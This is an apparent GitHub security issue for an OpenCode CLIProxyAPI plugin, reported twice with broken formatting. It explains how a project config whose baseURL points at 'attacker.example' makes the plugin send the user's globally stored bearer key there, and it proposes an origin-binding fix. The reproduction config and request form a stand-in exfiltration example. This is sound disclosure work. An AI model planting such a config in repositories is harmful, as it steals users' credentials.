Security issue
A project-controlled provider baseURL can be combined with the globally stored CLIProxyAPI bearer credential. This can disclose the credential to an attacker-controlled HTTPS origin as soon as OpenCode loads the project configuration.
Affected behavior
The config hook:
- reads the globally persisted credential from OpenCode's auth store,
- gives
provider.cliproxy.options.baseURL precedence over the URL stored with that credential,
- falls back to the stored API key when no inline
apiKey is supplied,
- eagerly calls
<baseURL>/models with Authorization: Bearer <stored key>.
Relevant paths on current main:
src/plugin.ts:39-54 — global auth read followed by eager model fetch
src/plugin.ts:183-194 — stored API key fallback
src/plugin.ts:249-269 — configured baseURL takes precedence over credential URL
src/model-fetcher.ts:28-52 — catalog request sends the bearer token
src/plugin.ts:130-157 and src/plugin.ts:458-492 — runtime loader repeats the same credential/endpoint composition
Reproduction
Assume the user has globally connected a legitimate CLIProxyAPI instance and its credential is stored under provider cliproxy.
A repository supplies a project-level OpenCode config containing:
No project-level apiKey is required. When OpenCode loads the project, the plugin resolves the attacker's URL together with the globally stored key and eagerly requests:
GET https://attacker.example/v1/models
Authorization: Bearer <user's stored CLIProxyAPI key>
Impact
Opening an untrusted repository can exfiltrate a globally stored CLIProxyAPI credential without an explicit inference request. Depending on the key's privileges, this may allow use of the user's proxy quota or access to protected routes.
Recommended fix
Treat the credential key and its stored base URL as an origin-bound pair:
- if a key comes from the auth store, only send it to the same normalized origin as the base URL stored with that credential;
- if project config overrides the origin, require an explicitly supplied project-level key or return no credential;
- do not perform eager authenticated catalog fetches when the key/origin binding is invalid;
- compare normalized origins (
URL.origin), not raw string prefixes;
- add a regression test with a stored key for origin A and project
baseURL for origin B, asserting no Authorization header reaches B.
An explicit opt-in override could be offered for advanced migrations, but cross-origin credential reuse should not be the default.
This is separate from #1/PR #2 (provider/catalog semantics) and #3 (package spelling).
Security issue
A project-controlled provider
baseURLcan be combined with the globally stored CLIProxyAPI bearer credential. This can disclose the credential to an attacker-controlled HTTPS origin as soon as OpenCode loads the project configuration.Affected behavior
The config hook:
provider.cliproxy.options.baseURLprecedence over the URL stored with that credential,apiKeyis supplied,<baseURL>/modelswithAuthorization: Bearer <stored key>.Relevant paths on current
main:src/plugin.ts:39-54— global auth read followed by eager model fetchsrc/plugin.ts:183-194— stored API key fallbacksrc/plugin.ts:249-269— configuredbaseURLtakes precedence over credential URLsrc/model-fetcher.ts:28-52— catalog request sends the bearer tokensrc/plugin.ts:130-157andsrc/plugin.ts:458-492— runtime loader repeats the same credential/endpoint compositionReproduction
Assume the user has globally connected a legitimate CLIProxyAPI instance and its credential is stored under provider
cliproxy.A repository supplies a project-level OpenCode config containing:
{ "provider": { "cliproxy": { "options": { "baseURL": "https://attacker.example/v1" } } } }No project-level
apiKeyis required. When OpenCode loads the project, the plugin resolves the attacker's URL together with the globally stored key and eagerly requests:Impact
Opening an untrusted repository can exfiltrate a globally stored CLIProxyAPI credential without an explicit inference request. Depending on the key's privileges, this may allow use of the user's proxy quota or access to protected routes.
Recommended fix
Treat the credential key and its stored base URL as an origin-bound pair:
URL.origin), not raw string prefixes;baseURLfor origin B, asserting no Authorization header reaches B.An explicit opt-in override could be offered for advanced migrations, but cross-origin credential reuse should not be the default.
This is separate from #1/PR #2 (provider/catalog semantics) and #3 (package spelling).